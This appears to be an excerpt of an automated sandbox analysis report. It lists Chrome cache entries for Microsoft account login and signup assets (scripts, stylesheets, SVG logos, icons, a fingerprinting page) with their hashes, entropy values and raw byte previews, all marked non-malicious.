Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 22961
Category:	downloaded
Size (bytes):	5564
Entropy (8bit):	7.96911120289624
Encrypted:	false
SSDEEP:	96:26I4XZXVk41B1hFdJqnP/x0rTuwfifl0h3yajulA2TxxBM0iUGR+MrBN6Fz+w:26Zlpvv7J6P/TwfifK5yb9vM0iUGdrnY
MD5:	B59E39F9921CAFCA149EB9685B51F656
SHA1:	CE99E1B2CA50537D61B5F6004EA2D0F528725979
SHA-256:	72DE626A972E4867B3D7A5E1E3A08812FD74C25FAD1132E934AD3565FFD5AD78
SHA-512:	BA49F13506CD1648109B8684132794F7749129432DC0F89B2CB3869FC39D4DF107F08E0EF69958DDD993C8C09ED3060D35C193922BD5433897CE2B0583EB6559
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msftauth.net/jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1
Preview:	...........<k..8...+.....pg..`.bd3...f..6..;.F...&2...4...W.DR...d..[.EV...".{..9.g_....B.y).%<$..itOF#2._..M!..b..".K..g.>.../..BG9...r#........Q.k......;g...J.Z..\|..].I."HSq..)Et.e../0...;....6."...Y.N.<%c.C.Iy...B..&)_....K.y.H....bN.......UUQE.. .7,_.M.4.....V...s"...A.fF.......6O..yV..2....A./..57..)...j...EJ....= ..j........X..&+/o)..pq.d....;..Qv./..........1. j..)#f"%S.B.x...F.H.1$..WQ\|.l.x.T.......5.%}.......2%@D...D@..A&)...u.$et...M.........<U0O..8.Y.C2?_.x.?...t..U..;.YD.P...zN...X.,-...A..().2..Y.M..E....J..K....S...W.> (a.e.`.j..A.......m..%e..l.Al.O.....-..~..$.D.d.....}..^.s.J...V...Q,....&/V.%..!.?.bOj.3..-3d0...........;....5.=.T-.5LF.- j...-d\....."..hD.K...D...q... ....K$..'jU.....h2Lk..!.wk....$...,...;..p.G<j..U.mq..s..`........K..f......88o..kp.M7z@.kZ...W#a....Jn..7.7..WW.)..A.,q."..\|.@........=s..3..1.D.Z.-=U.l..Ll.r,6..6;..I... .".[..9...5.B#..V.....6.<..F=.A.x./7.P.6%....V.6.Ab.}4.O;.....e&........ACU.\

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 433166
Category:	downloaded
Size (bytes):	119240
Entropy (8bit):	7.997883701511431
Encrypted:	true
SSDEEP:	3072:/Ie5Ikpd4jFB96iDLPHVsqkhjM/7OUlELRO7SGsutTByx+:/IGiJ6uVfOywRO7SBute+
MD5:	59D52BB1DE6AF0E77756DD59181DE047
SHA1:	F483F78C28565421F25BF736B8D27FFF3434ECD0
SHA-256:	9BEB5F10269977101E30AF30546FBC7FB89C4ADA6971A9222B05F5D46A765CA1
SHA-512:	8CD9D67056DE2C8F4ABC4256EC4939885F2F823182E82ECF93C3A690EF3912DAD5E77E360B51EEF09347C71E16D27328E00CF1764F480CBB061B8B5730B0A45C
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_bUKAij3pKdw2nFX-oqztYA2.js
Preview:	...........m{.8....~.......e..J...'U..$..Iw.2yd.v.%.$.e..o?.$%.SU.{w.=.;[.H...A....?.....J..._i\|....>.....NJ........pp...`.....^\.z>+...3....0y..F.0......o..~i...R..J.(..9I\.8.B...2T...K;J^K..J..gP.7..(.W.....0..V...j..#.Yi..,=?x.C..s.0..I)b...x...&....R..4....ji......-......\.pJ...a.^.]\,a.X&.....2.o...$,..K..l<^0+...1...Yu..w.$..0c.=a.}...xT"d....{Y.@.f.. .es0q.,bl.D..1:y-y..t.F..X.....qn..g/fUI...q....r.f..k..Q.Y.I.....f^.T.p....3....#.........1/p.qe.....A.$..^ .T.?.a.Rb....?.6h}.^..OW....{.e.`.....KA9..0?.\|..C+......1....u{w...V}.......Y.m\|..&.j.0.I...X...G...d......}.....}....;..2~(...R..U;..$@....]UFz.U..mrgE.O.jp..]..#{Zq..7M.re-.h..m..M..>J.."..i....K.QP..U.SX.....0.Zyf....Ls.^..B..Q..YVO..wX....ei.O...'^.....E.....Z.w...)..h.[..(....$..p..=..!.4..y.:K......i......-.&!,XL....'>....J..G.%..X7..@L.L...h-.p..%R?.>e........X...@O......w/...G.2....5..T.......R........h]...~T...Z.....s.S.xZ....].sV..H..zSF..%C..G..`

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113084
Category:	downloaded
Size (bytes):	20314
Entropy (8bit):	7.979540464295058
Encrypted:	false
SSDEEP:	384:ekqQ8rNFEhCgMyL2iww6oIR8mWG+Pu9Z5IM6mxqrghTvUty7T9Q:9CGEiL/w7R8DW9Z5B6AasTv37T9Q
MD5:	92A840DC3D177339DAE03FEDF22A22B5
SHA1:	C1C9A6E6442388D07A9D9D72C12DA25094D6920F
SHA-256:	4A986BA8875F22A0EABC356112A6790F90E114ADB72EAEC4632E03812EC1EDE4
SHA-512:	98C705395DD249501D8069A03E0068BC9CCF4F2D139BEC63A00564C69CD21C05CB25CF56BA7B40822963737989D5048AD310E20D6022E84346C982CFCEF79E11
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css
Preview:	...........}ks.6.....\.R;.J.H=-WR;..&>g^53.G.R[.DY<C..$e.WG..... )...{+'g...l............bw_f7.:x..<x.-.V5)/wE..Y...gy.0.(.-o.e.\|..._..I.....?<{.!x...W..._..^..p..E..'..Y...<.....]..6(. ..D.....Y.......:.ve.?..!..\|t...].+.......a.......\|.P...u.H.d.d.r.c[..~.L..n.-.}e.H3...r..^..iP.u..z.....)..Z.jx..C'......u..{.C...N.o.m~..F(b..f.....h..O.....6....kr.......n2m M$.R..R..i{.~.....n.dKY..#.Kn.4..G...O..l.#.a=..iU..].S.2.wY..O.\|...Z.A....].uU.._%U.<...pp..u=.....C.R..S.....0...A<......&...W..'o.T.."..jO..^+.....DiW.b..7i..7..........lKe.0.~B0.....zQu#...YB.,.{.&.6..G.6..._...J.i.?.LS$( .^.{..u.-.0....K....M&j..s.yB..+....^.)...7e.....]..eFI_.kRX.B......D[.4......+.u=>....R.`QEK...R..d...*S.. ,c5RKBK(......][..eF{T.....6...".....Uk:..S.0Ro.}B.dwJZ}U..S.F.....&.&.~\|......{..Ep.>x..._....}p..=.}...v...7?}...g..1&.......}...^...o.x.>x...../.^....._.........w.v./.........BA...{J..w..$?.}w....?zO.r..5...7.gl..z...g.?.{....R.......yGj

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (23103), with CRLF line terminators
Category:	downloaded
Size (bytes):	23567
Entropy (8bit):	5.765048005191663
Encrypted:	false
SSDEEP:	384:HkimbiIEsQdsQvZxyF1Aw8XGqvxedHyNDBHDTLLb2M/zvyMEZWp1:EilH9yF1IXqd4dHF/2dC
MD5:	77B1B3721A6CE2B5DE5AAB40BA64081D
SHA1:	238DE087607E6D40D8CF57E5C88D7B12AAE7C3FE
SHA-256:	E599FE6EB1BB43F7D4E6BB84CF34F7F8AB8B0E5EDBC5B1BE8FF1BBF439961993
SHA-512:	0655598C145289129DAB7B342BCF03F5C19F2D8DFD9FBD9EB73F394CFE2C53244FE4B80129E498ACF3E0638C5424C4274CF575AEC780C0D96DD7A6214DD4F231
Malicious:	false
Reputation:	low
URL:	https://fpt.live.com/?session_id=9f2710581d4e4ca9b4b73f7143f1c7f2&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>.. <script>var localTarget='https://fpt.live.com/',target='https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&',txnId='9f2710581d4e4ca9b4b73f7143f1c7f2',ticks='8DC345D294372DA',rid='0ddda0a8-ca70-5949-c50f-35571a6b5b82',authKey='taBcrIH61PuCVH7eNCyH0B9zcK90d%252bIeoo1r5v7Zc27MGDg1fMJUTRIkws5ECKKNv311lxkbNRexZbPmp8U%252fqbWZgfRPblqXphhOzdkPxUDQR4FfeBZbEV1VQrwK%252fPdY91YTILULi%252bLibFxUe%252bmNHb5M6TpbXEck%252fHej0TLJmXOt1Zkk4vAQCu999w48w7bB3o5lqPEIpF1%252flYY3MjysfIVXFphhfwXOkKoBpMrmnh3Mfz7wSzBlnNLa1MppQchEroRgJe9uWm6tsRQtan%252bNR%252b5CLSAfQpO5HsceiwuNtUzwkTsKVqjfnS4qzWVkf3Di',cid='33e01921-4d64-4f8c-a055-5bdaffd5e33d',assessment='',waitresponse=false,bbwait=false,commonquery='&PageId=SU',lsInfo=true,splitFonts=false,noFonts=false,UCH=true,PTO=100,rticks=1708685390865,txnKey='session_id',ridKey='id',lskey='MUID';(function(){function p(){var i=0,n;return t&&t.length&&(i=t.length),n="",wi

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msftauth.net/images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 80144
Category:	downloaded
Size (bytes):	28582
Entropy (8bit):	7.990835795085235
Encrypted:	true
SSDEEP:	768:SUSXTBiGf3+ifgoT+C2k8EJCHSJxknJc+OAf51u+NrKMWINuz+:8ViGf3VJkc+O+ea2MWINH
MD5:	A37BDBB8F418A4014C99AC1393E58A58
SHA1:	00C49FEF2C56BC87AAF99FAEE903E05986234BC8
SHA-256:	99EF7CD8BC7584B2645FA63F11E101B1377CE314D7738FA57CB886813906BBD1
SHA-512:	6C93DC6F08B440B070616A10BDB832CDB9DE3C52A98580D3E4535E5E45723F1575E91BA43AD7561636AA697BF238F50A2D9BA2CD2CF225416CFBC546467D05DF
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msftauth.net/knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1
Preview:	...........is.H.6..... ^...R.T.3....%.V.,.%...i.....\D.Z,...... .w..uW.@".........?...:.....ZW.O.......uv~urxl..Z.?{..j0..0K-...<M.....$..g.y.HskL...0.z...Z.Rk6.~M.Ene.\|A..4..Y.U7O...\|.`.\|t=..N...pB......k2]....'....$O..$I...`.....x>...5O.txK..KJ.6!.p.Zy..z..b ..Y..j...b......@./.p8E.gK.4.L'.gt.......ZL...R....p.h..9....:.B...^e.y:.E...R......Vz?..y.`....S.......4......K.h.`..3...LXi...fi.....y.Y...../.i<......mx..3.8......'.'o..9.k]...tb].h>..c......;R.\|.x:....r.\|....www.tF...<N....ww<\..o6....Gs.N..Q..9.....(..#-.0.)7v8.;..)...S.=+...~.......M.E8.`.C.......N....\|..C,I2..X......r....M$).\|8../..p1.../..X....l....s6.......!T.2......O.a..).j.......Qu.\Pb.D.&.Q....i.gt....N.:..P.j.......H.Q...5.r.dJ..-.d ..{..*..O'..#.}K.$..hz.>.0..Y...S>...R5g.4.ph.h....Zy@2.m.d}......<.{....uri}.8............o'W..?]Y.....@/A.._N..u.........u.....1.....~::9{g..r......T....UU'........{J8xsrzr....\...T..C...O.....O.../...GT.........t.......9..

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 379
Category:	downloaded
Size (bytes):	254
Entropy (8bit):	7.066074991728423
Encrypted:	false
SSDEEP:	6:XtS8G99k8e6my4IIFqXUJ59lDFCnhUGlZX8My/dOtrE:XAH99kRX1YQBDFCnDXdWYtrE
MD5:	847A4212B99B9076EE39328B24CD30AF
SHA1:	73F15078CF1D396485F644A79B6E25EF0637685D
SHA-256:	29DC0C26C372805325EB7EB926769E832A60B47BEF96A66436EC3EC05CD6128E
SHA-512:	9AF77E9ED8BD9A39A47F36AAC2D01B5AF5D56C04CD933427DF95CC80904D7EE7AC3F7F9443D8AEF236CC84FB4DC4CC335AF0BF8F9BC0C13D720187096D149220
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_account_msa_3b879963b4f70829fd7a25cbc9519792.svg
Preview:	..........mP.n. ...D.xY0.\..{. 7...y.F!.....T..Y.Y..n...q^.[O}..w.SJ.j..3.....%)....x.f.K}..}\.=E.D....!.n.......Ma..G.=+.%.w..WX...9.A...........X...V...bOB&2.H....15{.fT...V-.#..m..f...V2<...~....l%4.....Ie.TL69.....vW.....v.3.v.O..}..{...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://signup.live.com/Resources/images/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 379
Category:	dropped
Size (bytes):	254
Entropy (8bit):	7.066074991728423
Encrypted:	false
SSDEEP:	6:XtS8G99k8e6my4IIFqXUJ59lDFCnhUGlZX8My/dOtrE:XAH99kRX1YQBDFCnDXdWYtrE
MD5:	847A4212B99B9076EE39328B24CD30AF
SHA1:	73F15078CF1D396485F644A79B6E25EF0637685D
SHA-256:	29DC0C26C372805325EB7EB926769E832A60B47BEF96A66436EC3EC05CD6128E
SHA-512:	9AF77E9ED8BD9A39A47F36AAC2D01B5AF5D56C04CD933427DF95CC80904D7EE7AC3F7F9443D8AEF236CC84FB4DC4CC335AF0BF8F9BC0C13D720187096D149220
Malicious:	false
Reputation:	low
Preview:	..........mP.n. ...D.xY0.\..{. 7...y.F!.....T..Y.Y..n...q^.[O}..w.SJ.j..3.....%)....x.f.K}..}\.=E.D....!.n.......Ma..G.=+.%.w..WX...9.A...........X...V...bOB&2.H....15{.fT...V-.#..m..f...V2<...~....l%4.....Ie.TL69.....vW.....v.3.v.O..}..{...

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
